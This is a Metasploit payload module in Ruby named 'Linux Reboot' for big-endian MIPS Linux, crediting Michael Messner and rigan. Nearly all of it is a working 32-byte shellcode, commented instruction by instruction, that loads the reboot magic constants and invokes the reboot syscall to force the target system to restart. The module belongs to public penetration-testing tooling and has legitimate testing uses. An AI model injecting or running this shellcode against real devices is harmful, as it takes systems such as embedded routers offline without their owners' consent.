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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 32
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  include Msf::Payload::Single
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  include Msf::Payload::Linux
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  def initialize(info = {})
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    super(merge_info(info,
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      'Name'          => 'Linux Reboot',
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      'Description'   => %q{
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            A very small shellcode for rebooting the system.
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            This payload is sometimes helpful for testing purposes or executing
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            other payloads that rely on initial startup procedures.
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         },
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      'Author'        =>
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        [
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          'Michael Messner <devnull[at]s3cur1ty.de>', #metasploit payload
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          'rigan - <imrigan[at]gmail.com>'  #original payload
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        ],
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      'References'    =>
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        [
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          ['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php']
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        ],
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      'License'       => MSF_LICENSE,
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      'Platform'      => 'linux',
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      'Arch'          => ARCH_MIPSBE,
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      'Payload'       =>
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        {
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          'Offsets' => {} ,
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          'Payload' => ''
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        })
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    )
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  end
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  def generate(_opts = {})
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    shellcode =
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      "\x3c\x06\x43\x21" +  #lui     a2,0x4321
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      "\x34\xc6\xfe\xdc" +  #ori     a2,a2,0xfedc
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      "\x3c\x05\x28\x12" +  #lui     a1,0x2812
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      "\x34\xa5\x19\x69" +  #ori     a1,a1,0x1969
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      "\x3c\x04\xfe\xe1" +  #lui     a0,0xfee1
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      "\x34\x84\xde\xad" +  #ori     a0,a0,0xdead
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      "\x24\x02\x0f\xf8" +  #li      v0,4088
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      "\x01\x01\x01\x0c"    #syscall 0x40404
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    return super + shellcode
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  end
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end
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